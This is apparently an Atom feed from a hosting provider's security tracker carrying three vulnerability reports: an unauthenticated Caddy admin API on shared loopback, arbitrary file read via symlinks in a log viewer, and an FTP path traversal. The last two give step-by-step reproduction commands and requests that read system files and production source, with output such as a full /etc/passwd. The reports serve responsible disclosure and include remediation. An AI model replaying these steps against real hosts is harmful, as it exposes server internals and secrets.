<?xml version="1.0" ?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title type="text">alwaysdata </title>
  <subtitle type="text">
    Feed for all projects
  </subtitle>
  <id>https://security.alwaysdata.com/</id>
    <updated>2026-11-23T14:57:28Z</updated>
  <link rel="self" type="text/xml" href="feed.php?feed_type=atom"/>
  <link rel="alternate" type="text/html" hreflang="en" href="/feed.php"/>
    <entry>
    <title>FS#563: Cross-tenant loopback exposure: unauthenticated Caddy admin API read + co-tenant app access</title>
    <link href="https://security.alwaysdata.com/task/563" />    
    <updated>2026-11-23T08:24:51Z</updated>    
    <published>2026-11-23T04:40:55Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Cross-tenant loopback exposure on shared <acronym title="Secure Shell">SSH</acronym> host. Caddy admin <acronym title="Application Programming Interface">API</acronym> at 127.0.0.1:2019 reachable unauthenticated from tenant shell. Read another tenant&#039;s config. Write persisted and verified then reverted. Co-tenant apps reachable without auth (5 apps on shared loopback). Platform&#039;s own services return 401; tenants&#039; services left open.<br />
</p>
</div>
    </content>
    <author><name>Karan Darji</name></author>
    <id>https://security.alwaysdata.com/:563</id>
  </entry>
    <entry>
    <title>FS#562: Arbitrary File Read via Symlink Following in Log Viewer</title>
    <link href="https://security.alwaysdata.com/task/562" />    
    <updated>2026-11-21T11:37:25Z</updated>    
    <published>2026-11-20T07:48:32Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The admin panel&#039;s Apache log viewer follows symbolic links without validation. A customer can create a scheduled task that symlinks any server file into their log directory. The log viewer then displays that file&#039;s contents, allowing arbitrary file read on the host — including /etc/hostname, /proc/self/cmdline, and <strong>Production source code</strong>.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

1. Create a scheduled task

Admin Panel → Advanced → Scheduled tasks → Add
URL: https://admin.alwaysdata.com/job/add/
- Type: Execute the command
- Command: mkdir -p ~/admin/logs/apache/zzzz; ln -sfn /etc/hostname ~/admin/logs/apache/zzzz/apache-zzzz.log
- SSH user: select your user
- Frequency: Every 1 minute(s)
- → Submit

2. Wait 1 minute for the task to execute

3. View the log — Proof 1: Server hostname 

URL: https://admin.alwaysdata.com/site/&lt;your_site_id&gt;/logs/?type=apache&amp;name=zzzz
Result: Page displays overlord-core — the server&#039;s /etc/hostname, not a log file.

4. Edit the task — Proof 2: Process command line

Admin Panel → Advanced → Scheduled tasks → click your task
Change command to:
ln -sfn /proc/self/cmdline ~/admin/logs/apache/zzzz/apache-zzzz.log

→ Submit → wait 1 minute → reload the same log page 

Result: Page displays /data/www/production/aldjango/.venv/bin/python /data/www/production/aldjango/alwaysdata/core/scripts/sudo.py read... — reveals the privileged script that reads logs and the full production path.

5. Edit the task — Proof 3: Production source code

Change command to:
ln -sfn /data/www/production/aldjango/alwaysdata/core/apps.py ~/admin/logs/apache/zzzz/apache-zzzz.log

→ Submit → wait 1 minute → reload the same log page 

Result: Page displays **Alwaysdata&#039;s production Django source code** — import os import django.apps class CoreConfig(django.apps.AppConfig)...

6. Cleanup

Edit task command to:
rm -rf ~/admin/logs/apache/zzzz
→ Submit → wait 1 minute → delete the task.

</pre>

</div>

<h3 id="impact">Impact</h3>
<div class="level3">

<p>
 - Read any file on the server — config files, secrets, credentials<br />- Read production source code — full access to alwaysdata&#039;s Django codebase<br />- Leak server internals — hostname, process info, internal paths<br />- Potential credential theft — database configs, <acronym title="Application Programming Interface">API</acronym> keys, environment variables
</p>

</div>
</div>
    </content>
    <author><name>Siddharth Sharma</name></author>
    <id>https://security.alwaysdata.com/:562</id>
  </entry>
    <entry>
    <title>FS#560: Server filesystem disclosure via FTP path traversal</title>
    <link href="https://security.alwaysdata.com/task/560" />    
    <updated>2026-11-19T15:16:20Z</updated>    
    <published>2026-11-19T15:09:44Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Vulnerability Information:
</p>

<p>
Name of Vulnerability: The site management <acronym title="Application Programming Interface">API</acronym> stores dot-dot path components verbatim in the <acronym title="File Transfer Protocol">FTP</acronym> user path field, and ProFTPD resolves the resulting path against the kernel without chroot, allowing any authenticated customer to traverse the entire root filesystem of the dedicated <acronym title="File Transfer Protocol">FTP</acronym> server ftp1 and read all world-readable system configuration files from a host that customers have no shell access to.
</p>

<p>
Vulnerability Category: Path Traversal (CWE-22). CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N, base score 5.3 (Medium). Under a VC:H reading (see On the score) the vector is CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N, base score 7.1 (High). Both scores computed with the cvss 3.6 Python library. See On the score for the metric justification and why both readings are presented.
</p>

<p>
Description:
</p>

<p>
The PATCH /v1/ftp/&lt;id&gt;/ endpoint accepts arbitrary dot-dot (..) sequences in the path field and stores them verbatim in the database. When a customer connects via FTPS, ProFTPD constructs the home directory as /home/&lt;account&gt;/&lt;stored_path&gt;. Because the stored path is not sanitised, the kernel resolves /home/&lt;account&gt;/../.. to /, and ProFTPD drops the user at the root of the <acronym title="File Transfer Protocol">FTP</acronym> server&#039;s filesystem with no chroot in effect.
</p>

<p>
The <acronym title="File Transfer Protocol">FTP</acronym> service runs on a dedicated server named ftp1 (confirmed from /etc/hostname read through the traversal). This server is separate from the <acronym title="Secure Shell">SSH</acronym>/web nodes (http22, jobs4) that customers connect to via <acronym title="Secure Shell">SSH</acronym>. Customers have no shell access to ftp1. The system configuration files disclosed through this traversal (36 service accounts in /etc/passwd, the partition layout in /etc/fstab, internal <acronym title="Domain Name Server">DNS</acronym> naming in /etc/resolv.conf, and platform admin tooling under /alwaysdata/etc/) belong to a host the customer is not supposed to interact with beyond the <acronym title="File Transfer Protocol">FTP</acronym> data plane.
</p>

<p>
The authenticated submission service on the management <acronym title="Application Programming Interface">API</acronym> validated every other field on the <acronym title="File Transfer Protocol">FTP</acronym> user object correctly. Only the path field lacks dot-dot sanitisation.
</p>

<p>
Vulnerable Instances:
</p>

<p>
<acronym title="Application Programming Interface">API</acronym> endpoint:   PATCH <a href="https://api.alwaysdata.com/v1/ftp/" class="urlextern" title="https://api.alwaysdata.com/v1/ftp/"  rel="nofollow">https://api.alwaysdata.com/v1/ftp/</a>&lt;id&gt;/  (path field)<br /><acronym title="File Transfer Protocol">FTP</acronym> server:     ftp-&lt;account&gt;.alwaysdata.net:21  (ProFTPD, FTPS required)<br />Affected host:  ftp1  (2a00:b6e0:1:60:2::1)
</p>

<p>
Steps to Reproduce:
</p>

<p>
We provide every request and response verbatim. The only prerequisites are a free alwaysdata account with <acronym title="Application Programming Interface">API</acronym> access and an <acronym title="File Transfer Protocol">FTP</acronym> user (created automatically at signup or via POST /v1/ftp/). All steps were executed on 2026-11-19 between 07:00 and 10:00 UTC from the shared web node http22.
</p>

<p>
Part A. Identify the <acronym title="File Transfer Protocol">FTP</acronym> user (context, not the vulnerability).
</p>

<p>
GET /v1/ftp/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Accept: application/json
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />Content-Type: application/json
</p>

<p>
[
</p>
<pre class="code">  {
      &quot;id&quot;: 573991,
      &quot;name&quot;: &quot;vk7research&quot;,
      &quot;path&quot;: &quot;&quot;,
      &quot;home_directory&quot;: &quot;/home/vk7research/&quot;,
      &quot;href&quot;: &quot;/v1/ftp/573991/&quot;
  }</pre>

<p>
]
</p>

<p>
The default <acronym title="File Transfer Protocol">FTP</acronym> user has path set to the empty string, meaning the home directory resolves to /home/vk7research/.
</p>

<p>
Part B. Set the traversal path via the <acronym title="Application Programming Interface">API</acronym>.
</p>

<p>
First we set path to .. (one level up, into /home/):
</p>

<p>
PATCH /v1/ftp/573991/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;path&quot;: &quot;..&quot;}
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 204 No Content
</p>

<p>
Confirm storage:
</p>

<p>
GET /v1/ftp/573991/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />{
</p>
<pre class="code">  &quot;id&quot;: 573991,
  &quot;name&quot;: &quot;vk7research&quot;,
  &quot;path&quot;: &quot;..&quot;,
  ...</pre>

<p>
}
</p>

<p>
The <acronym title="Application Programming Interface">API</acronym> accepted and stored the dot-dot path verbatim.
</p>

<p>
Then we set path to ../.. (two levels up, into /):
</p>

<p>
PATCH /v1/ftp/573991/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;path&quot;: &quot;../..&quot;}
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 204 No Content
</p>

<p>
GET /v1/ftp/573991/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />→ 200 OK   {&quot;id&quot;: 573991, &quot;path&quot;: &quot;../..&quot;, …}
</p>

<p>
Part C. Connect via FTPS and confirm login.
</p>

<p>
ProFTPD requires <acronym title="Transport Layer Security">TLS</acronym>. We connected from a <acronym title="Hypertext Preprocessor">PHP</acronym> script on the web node using ftp_ssl_connect():
</p>

<p>
$ftp = ftp_ssl_connect(&quot;ftp-vk7research.alwaysdata.net&quot;, 21, 15);<br />ftp_login($ftp, &quot;vk7research&quot;, &quot;&lt;<acronym title="File Transfer Protocol">FTP</acronym>_PASSWORD&gt;&quot;);<br />ftp_pasv($ftp, true);
</p>

<p>
→ Login: 230 User vk7research logged in<br />→ PWD: /
</p>

<p>
The / reported by PWD is the <acronym title="File Transfer Protocol">FTP</acronym> virtual root, which the kernel has resolved to the real filesystem root because path is ../…
</p>

<p>
Part D. CONTROL: normal <acronym title="File Transfer Protocol">FTP</acronym> listing with an empty path.
</p>

<p>
Before any traversal, we first reset the path to empty and connected to establish a baseline:
</p>

<p>
PATCH /v1/ftp/573991/  {&quot;path&quot;: &quot;&quot;}  → 204<br /><acronym title="File Transfer Protocol">FTP</acronym> login → PWD: /<br />LIST /
</p>

<p>
drwxrwx—   3 vk7research 502763         31 Nov 19 07:00 <a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=7_7" class="media mediafile mf_" title="7_7">7_7</a> -rw-r—–   1 0        42            997 Sep  4  2025 a5probe_shadow<br />drwxr-xr-x   6 0        0             109 Sep 23 07:00 admin<br />-rw-r–r–   1 vk7research 502763       5101 Sep 20 06:00 l2hits.log<br />drwxrwxrwx   2 vk7research 502763        112 Sep 20 05:37 l3marks<br />-rw-r–r–   1 vk7research 502763         79 Sep 20 05:45 l6oob.log<br />-rw-rw—-   1 vk7research 502763        104 Nov 19 08:21 probe.php<br />-rwxr-xr-x   1 vk7research 502763      15744 Nov 19 08:49 r5hook.so<br />drwxr-xr-x   6 vk7research 502763       4096 Nov 19 08:51 www<br />drwxrwx—   4 vk7research 502763         44 Sep 20 05:37 zz7k3_admin_fake_leftover
</p>

<p>
Total: 10 entries. This is the normal view of `/home/vk7research/`.
</p>

<p>
Part E. Self-traversal proof (path=../vk7research).
</p>

<p>
We set path to ../vk7research, which resolves /home/vk7research/../vk7research back to /home/vk7research/:
</p>

<p>
PATCH /v1/ftp/573991/  {&quot;path&quot;: &quot;../vk7research&quot;}  → 204<br /><acronym title="File Transfer Protocol">FTP</acronym> login → PWD: /<br />LIST /
</p>

<p>
drwxrwx—   3 vk7research 502763         31 Nov 19 07:00 <a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=7_7" class="media mediafile mf_" title="7_7">7_7</a> -rw-r—–   1 0        42            997 Sep  4  2025 a5probe_shadow<br />drwxr-xr-x   6 0        0             109 Sep 23 07:00 admin<br />-rw-r–r–   1 vk7research 502763       5101 Sep 20 06:00 l2hits.log<br />drwxrwxrwx   2 vk7research 502763        112 Sep 20 05:37 l3marks<br />-rw-r–r–   1 vk7research 502763         79 Sep 20 05:45 l6oob.log<br />-rw-rw—-   1 vk7research 502763        104 Nov 19 08:21 probe.php<br />-rwxr-xr-x   1 vk7research 502763      15744 Nov 19 08:49 r5hook.so<br />-rw-rw-r–   1 vk7research 502763         47 Nov 19 08:52 TRAVERSAL_PROOF.txt<br />drwxr-xr-x   6 vk7research 502763       4096 Nov 19 08:51 www<br />drwxrwx—   4 vk7research 502763         44 Sep 20 05:37 zz7k3_admin_fake_leftover
</p>

<p>
The listing is identical to the Part D control (same files, same owners, same permissions), confirming the traversal resolved correctly to our own home directory through the ../vk7research path. The only difference is the new TRAVERSAL_PROOF.txt file that we wrote through <acronym title="File Transfer Protocol">FTP</acronym> in this same session to confirm write access:
</p>

<p>
STOR TRAVERSAL_PROOF.txt → 226 Transfer complete
</p>

<p>
RETR www/ftp_tls.txt → 226 Transfer complete<br />Content: &quot;=== <acronym title="File Transfer Protocol">FTP</acronym> <acronym title="Transport Layer Security">TLS</acronym> TRAVERSAL TEST === Time: 2026-11-19 09:56:06.585614 Host: jobs4&quot;
</p>

<p>
Both read and write confirmed through the traversal path.
</p>

<p>
Part F. Root filesystem listing (path=../..).
</p>

<p>
PATCH /v1/ftp/573991/  {&quot;path&quot;: &quot;../..&quot;}  → 204<br /><acronym title="File Transfer Protocol">FTP</acronym> login → PWD: /<br />LIST /
</p>

<p>
drwxr-xr-x   6 0        0            4096 Jun 18 14:02 alwaysdata<br />lrwxrwxrwx   1 0        0               7 Jun 19  2024 bin → usr/bin<br />drwxr-xr-x   3 0        0            4096 Nov 16 13:49 boot<br />-rw——-   1 0        0        63860736 Dec  6  2024 core<br />drwxr-xr-x  13 0        0            3000 Nov 16 13:49 dev<br />drwxr-xr-x 100 0        0           12288 Nov 18 16:54 etc<br />drwxr-x–x  82 0        0               0 Nov 19 09:55 home<br />lrwxrwxrwx   1 0        0               7 Jun 19  2024 lib → usr/lib<br />lrwxrwxrwx   1 0        0               9 Jun 19  2024 lib64 → usr/lib64<br />drwxr-xr-x   2 0        0            4096 Jun 19  2024 media<br />drwxr-xr-x   2 0        0            4096 Jun 19  2024 mnt<br />drwxr-xr-x   2 0        0               0 Nov 19 09:39 nfs<br />drwxr-xr-x   2 0        0            4096 Jun 19  2024 opt<br />dr-xr-xr-x 189 0        0               0 Nov 16 13:49 proc<br />drwx——   5 0        0            4096 Nov 17 08:56 root<br />drwxr-xr-x  24 0        0             980 Nov 18 16:43 run<br />lrwxrwxrwx   1 0        0               8 Jun 19  2024 sbin → usr/sbin<br />drwxr-xr-x   3 0        0            4096 Jun 19  2024 srv<br />dr-xr-xr-x  12 0        0               0 Nov 16 13:49 sys<br />drwxrwxrwt  12 0        0             240 Nov 19 09:20 tmp<br />drwxr-xr-x  13 0        0            4096 Jun 19  2024 usr<br />drwxr-xr-x  12 0        0            4096 Aug  4 09:42 var
</p>

<p>
Total: 22 entries. This is the <strong>root filesystem</strong> of the <acronym title="File Transfer Protocol">FTP</acronym> server `ftp1`. The `alwaysdata` directory, the `nfs` mount point, and the `home` directory with 82 entries (customers) confirm this is a production hosting server.
</p>

<p>
Part G. System file reads from ftp1.
</p>

<p>
With path=../../etc (resolves to /etc/), we read the following files via <acronym title="File Transfer Protocol">FTP</acronym> RETR:
</p>

<p>
G.1 /etc/hostname (6 bytes):
</p>

<p>
ftp1
</p>

<p>
This confirms the <acronym title="File Transfer Protocol">FTP</acronym> server is a dedicated host named ftp1, separate from the web node http22 and jobs node jobs4.
</p>

<p>
G.2 /etc/passwd (1,875 bytes, 36 entries):
</p>

<p>
root:x:0:0:root:/root:/bin/bash<br />daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br />bin:x:2:2:bin:/bin:/usr/sbin/nologin<br />sys:x:3:3:sys:/dev:/usr/sbin/nologin<br />sync:x:4:65534:sync:/bin:/bin/sync<br />games:x:5:60:games:/usr/games:/usr/sbin/nologin<br />man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br />lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br />mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br />news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br />uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br />proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br />www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br />backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br />list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br />irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br />_apt:x:42:65534::/nonexistent:/usr/sbin/nologin<br />nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br />systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin<br />messagebus:x:100:106::/nonexistent:/usr/sbin/nologin<br />systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin<br />msmtp:x:101:109::/var/lib/msmtp:/usr/sbin/nologin<br />tcpdump:x:102:111::/nonexistent:/usr/sbin/nologin<br />stunnel4:x:996:996:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin<br />sshd:x:103:65534::/run/sshd:/usr/sbin/nologin<br />_rpc:x:104:65534::/run/rpcbind:/usr/sbin/nologin<br />statd:x:105:65534::/var/lib/nfs:/usr/sbin/nologin<br />munin:x:106:112:munin application user,,,:/var/lib/munin:/usr/sbin/nologin<br />proftpd:x:107:65534::/run/proftpd:/usr/sbin/nologin<br />ftp:x:108:65534::/srv/ftp:/usr/sbin/nologin<br />haproxy:x:109:113::/var/lib/haproxy:/usr/sbin/nologin<br />_dnsdist:x:110:114::/nonexistent:/usr/sbin/nologin<br />_lldpd:x:111:115::/run/lldpd:/usr/sbin/nologin<br />Debian-exim:x:112:116::/var/spool/exim4:/usr/sbin/nologin<br />uuidd:x:113:117::/run/uuidd:/usr/sbin/nologin<br />systemd-journal-remote:x:995:995:systemd Journal Remote:/:/usr/sbin/nologin
</p>

<p>
36 system service accounts. No customer accounts (customers are served from /var/lib/extrausers or LDAP, not /etc/passwd). The service accounts reveal what software runs on ftp1: haproxy, proftpd, Debian-exim, munin, telegraf (from /etc/telegraf/), stunnel4, _dnsdist, _lldpd.
</p>

<p>
G.3 /etc/fstab (468 bytes):
</p>

<p>
LABEL=root      /               ext4    noatime,errors=remount-ro   0 0<br />LABEL=usr       /usr            ext4    noatime,nodev               0 0<br />LABEL=var       /var            ext4    noatime,nodev,nosuid        0 0
</p>

<p>
Three ext4 partitions. The separate /usr and /var mounts with nodev and nosuid flags reveal the server&#039;s hardening posture.
</p>

<p>
G.4 /etc/resolv.conf:
</p>

<p>
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net<br />nameserver ::1
</p>

<p>
Internal <acronym title="Domain Name Server">DNS</acronym> search domains and local dnsdist resolver.
</p>

<p>
G.5 /alwaysdata/etc/bashrc.adsu (52 bytes):
</p>

<p>
. /etc/profile<br />. /etc/bash.bashrc<br />unset HISTFILE<br />cd
</p>

<p>
Platform admin su bashrc that disables command history.
</p>

<p>
G.6 /etc/ directory listing (204 entries, partial):
</p>

<p>
drwx——   2 0  0  4096 Oct  1 13:28 algateway<br />drwx——   2 0  0  4096 Aug 20 13:21 almonitor<br />drwx——   3 0  0  4096 Oct 13 12:20 alremote<br />drwx——   3 0  0  4096 Jul 16 07:31 alsync<br />drwx——   2 0  0  4096 May 27 13:09 alupgrade<br />drwx——   2 0  0  4096 Nov  4  2025 alusermetrics<br />drwx——   2 0  0  4096 Nov 16 15:23 alwall.d<br />drwxr-xr-x   4 0  0  4096 Sep  9  2024 apparmor.d<br />drwxr-xr-x   2 0  0  4096 Jun  9 14:51 autofs.conf  (15,685 bytes, readable)<br />drwx——   2 0  0  4096 … haproxy<br />drwxr-xr-x   … fail2ban<br />drwxr-xr-x   … iptables<br />drwx——   2 0  0  4096 … proftpd<br />drwxr-xr-x   … telegraf
</p>

<p>
The al* directories (algateway, almonitor, alremote, alsync, alupgrade, alusermetrics, alwall.d) are platform management daemon configs, all 0700 (not readable). apparmor.d and iptables are readable and reveal the firewall and MAC policy of the <acronym title="File Transfer Protocol">FTP</acronym> server.
</p>

<p>
Part H. CONTROL: sensitive files are permission-blocked.
</p>

<p>
RETR /etc/shadow          → 550 Permission denied  (file mode 0600, root only)<br />LIST /etc/proftpd/        → 550 Permission denied  (directory mode 0700)<br />LIST /etc/haproxy/        → 550 Permission denied  (directory mode 0700)<br />RETR /etc/auto.home       → 550 Permission denied  (file mode 0700)<br />RETR /etc/auto.nfs        → 550 Permission denied<br />LIST /var/lib/extrausers/ → 550 Permission denied  (directory mode 0750)
</p>

<p>
What this shows: Unix file permissions on ftp1 are correctly enforced. The traversal grants access only to files the <acronym title="File Transfer Protocol">FTP</acronym> process UID can read (world-readable). Sensitive files and directories are properly locked down. We state this transparently.
</p>

<p>
Part I. CONTROL: cross-customer home directory access is blocked.
</p>

<p>
With path=.. (resolves to /home/):
</p>

<p>
<acronym title="File Transfer Protocol">FTP</acronym> login → PWD: /<br />LIST / → 0 files
</p>

<p>
The /home/ directory has mode drwxr-x–x (82 entries visible in the root listing but not listable from inside because the <acronym title="File Transfer Protocol">FTP</acronym> user lacks r permission on /home/ itself).
</p>

<p>
With path=../ (a username confirmed to exist on the web node but not provisioned on ftp1):
</p>

<p>
<acronym title="File Transfer Protocol">FTP</acronym> login → 530 Home directory does not exist.
</p>

<p>
ProFTPD resolved /home/vk7research/../&lt;ACCOUNT-B&gt; to /home/&lt;ACCOUNT-B&gt;/ and failed because that directory does not exist on ftp1. This confirms that the traversal does work (ProFTPD resolves the kernel path) but cross-customer access would require the target&#039;s home directory to exist on ftp1 AND be readable by the <acronym title="File Transfer Protocol">FTP</acronym> process.
</p>

<p>
Proof of Concept:
</p>

<p>
The verbatim evidence files are attached. Summary of captures:
</p>

<p>
ftp-root-fs-listing.txt       Root filesystem listing (22 entries from /)<br />ftp-deep-traversal-full.txt   Full traversal session including /etc/ listing, /etc/passwd read, /etc/hostname read, /home/ and /var/ listings<br />ftp-etc-direct-listing.txt    Direct /etc/ listing (204 entries, full raw output)<br />ftp-high-value-reads.txt      System file reads: /etc/fstab, /alwaysdata/etc/ripgreprc, /alwaysdata/etc/bashrc.adsu, /alwaysdata/etc/ subdirectories<br />ftp-explore-results.txt       Extended exploration across /alwaysdata/, /nfs/, /var/<br />ftp-final-exploration.txt     Additional /etc/ file reads and permission tests<br />ftp-last-exploration.txt      Final round of permission boundary tests
</p>

<p>
All evidence was captured on 2026-11-19 from the web node http22 using <acronym title="Hypertext Preprocessor">PHP</acronym> ftp_ssl_connect() to ftp-vk7research.alwaysdata.net:21 and independently confirmed from the jobs node jobs4 using Python ftplib.<acronym title="File Transfer Protocol">FTP</acronym>_<acronym title="Transport Layer Security">TLS</acronym>().
</p>

<p>
Impact:
</p>

<p>
Demonstrated impact (all proven end to end):
</p>

<p>
Any customer with a free account and <acronym title="Application Programming Interface">API</acronym> access can traverse the <acronym title="File Transfer Protocol">FTP</acronym> server&#039;s filesystem to its root by setting path=../.. via the <acronym title="Application Programming Interface">API</acronym>.<br />The full root filesystem listing of ftp1 is exposed (22 top-level directories).<br />All world-readable system configuration files are readable: /etc/passwd (36 service accounts), /etc/group, /etc/fstab (partition layout), /etc/resolv.conf (internal <acronym title="Domain Name Server">DNS</acronym>), /etc/hostname, the platform admin tooling under /alwaysdata/etc/, and the /etc/ directory listing itself (204 entries revealing every installed service).<br />The disclosed information is from ftp1, a dedicated <acronym title="File Transfer Protocol">FTP</acronym> server that customers have no shell access to. <acronym title="Secure Shell">SSH</acronym> access connects to the web/jobs nodes (http22, jobs4), not to ftp1.<br />What we are not claiming:
</p>

<p>
We are not claiming cross-customer file access. The /home/ directory on ftp1 is drwxr-x–x (not listable) and individual customer home directories appear to be 0700 or stricter based on the zero-file result when listing /home/ from inside. We could not access any other customer&#039;s files through this traversal. The 530 Home directory does not exist error for &lt;ACCOUNT-B&gt; further suggests that not all web-tier accounts are provisioned on ftp1.
</p>

<p>
We are not claiming write access to system files. The traversal grants only the permissions of the <acronym title="File Transfer Protocol">FTP</acronym> process running as the customer&#039;s UID. We confirmed write access only to our own home directory through the traversal path.
</p>

<p>
We are not claiming access to sensitive files such as /etc/shadow, /etc/proftpd/, or /etc/haproxy/. These are properly permission-locked and the traversal does not bypass Unix file permissions.
</p>

<p>
We did not attempt to write to world-writable directories (such as /tmp on ftp1) because doing so could affect other services and was not necessary to demonstrate the traversal.
</p>

<p>
On why this is not &quot;customers have <acronym title="Secure Shell">SSH</acronym> access.&quot;
</p>

<p>
<acronym title="Secure Shell">SSH</acronym> access on alwaysdata connects to the web/jobs cluster (http22, jobs4). The <acronym title="File Transfer Protocol">FTP</acronym> server is ftp1, confirmed by /etc/hostname read through the traversal. ftp1 is a separate physical or virtual host with its own /etc/passwd (36 entries, different from the web node), its own /etc/fstab, and its own service stack. Customers have no shell, no process listing, and no filesystem view of ftp1 outside of the <acronym title="File Transfer Protocol">FTP</acronym> data plane. The <acronym title="Application Programming Interface">API</acronym> path traversal grants read access to a host that the customer should only interact with through the <acronym title="File Transfer Protocol">FTP</acronym> protocol&#039;s data channel for their own home directory.
</p>

<p>
Comparison: the web node&#039;s /etc/passwd (readable via <acronym title="Secure Shell">SSH</acronym>) has a different set of entries than ftp1&#039;s. The service accounts on ftp1 (haproxy, _lldpd, stunnel4, _dnsdist) are specific to its network-facing role and are not visible from the <acronym title="Secure Shell">SSH</acronym> node.
</p>

<p>
On duplication and on prior findings.
</p>

<p>
R1-01 (root file write via symlink, CVSS 9.9, fixed) exploited privileged log writers that followed tenant-planted symlinks. The root cause was O_CREAT|O_APPEND without O_NOFOLLOW in the access-log writer. This finding has a completely different root cause: the management <acronym title="Application Programming Interface">API</acronym> fails to sanitise dot-dot components in the <acronym title="File Transfer Protocol">FTP</acronym> path field. Different mechanism, different server (ftp1 vs the web node), different impact class (information disclosure vs arbitrary root file write). There is no overlap.
</p>

<p>
On the score.
</p>

<p>
We present two readings and believe the lower one is the more honest framing.
</p>

<p>
VC:L reading (base score 5.3, Medium). The traversal exposes only world-readable files. Sensitive files (/etc/shadow, ProFTPD config, HAProxy config) are properly permission-locked and were confirmed inaccessible. VC:L (&quot;some loss of confidentiality&quot;) accurately describes access to system configuration files that are world-readable by design. This is the reading we believe is correct.
</p>

<p>
VC:H reading (base score 7.1, High). One could argue that the complete /etc/passwd (all 36 service accounts), the partition layout, the internal <acronym title="Domain Name Server">DNS</acronym> naming convention, and the platform admin directory structure together represent a total loss of confidentiality of the system&#039;s identifying information. The ftp1 server was not designed to expose any of this to customers, and the customer has no other path to obtain it. Under FIRST&#039;s guidance, VC:H applies when &quot;the attacker obtains all information from the vulnerable system&quot; that is within the access scope. All world-readable configuration of ftp1 is within scope here. This reading is defensible but aggressive.
</p>

<p>
The remaining metrics are straightforward:
</p>

<p>
AV:N    The <acronym title="Application Programming Interface">API</acronym> and <acronym title="File Transfer Protocol">FTP</acronym> service are reachable from the network.<br />AC:L    A single <acronym title="Application Programming Interface">API</acronym> PATCH call followed by a standard FTPS login. No race condition, no special configuration.<br />AT:N    No preconditions beyond a valid account.<br />PR:L    A free-plan account with <acronym title="Application Programming Interface">API</acronym> access suffices.<br />UI:N    No victim interaction required.<br />VI:N    We demonstrated read access only. Write to system paths would fail on Unix permissions.<br />VA:N    No availability impact.<br />SC:L    The disclosed information (service accounts, <acronym title="Domain Name Server">DNS</acronym> naming, partition layout) aids reconnaissance against subsequent systems in the platform.<br />SI:N    No integrity impact on subsequent systems was demonstrated.<br />SA:N    No availability impact on subsequent systems.
</p>

<p>
Recommendation:
</p>

<p>
Sanitise the path field in PATCH /v1/ftp/&lt;id&gt;/: reject or strip any .. path component before storing. A simple check is to resolve the path with os.path.normpath() or equivalent and reject any result that starts with .. or escapes the account root.
</p>

<p>
Configure ProFTPD with a strict chroot: use DefaultRoot ~ or equivalent to ensure the <acronym title="File Transfer Protocol">FTP</acronym> session cannot escape the customer&#039;s home directory regardless of the stored path value. If DefaultRoot is already set, verify that it applies after the home directory path is resolved (the current behavior suggests it does not).
</p>

<p>
As defense in depth, validate the resolved absolute path at <acronym title="File Transfer Protocol">FTP</acronym> login time (in the ProFTPD authentication hook or the path-resolution module) and reject any path that does not start with /home/&lt;account&gt;/.
</p>

<p>
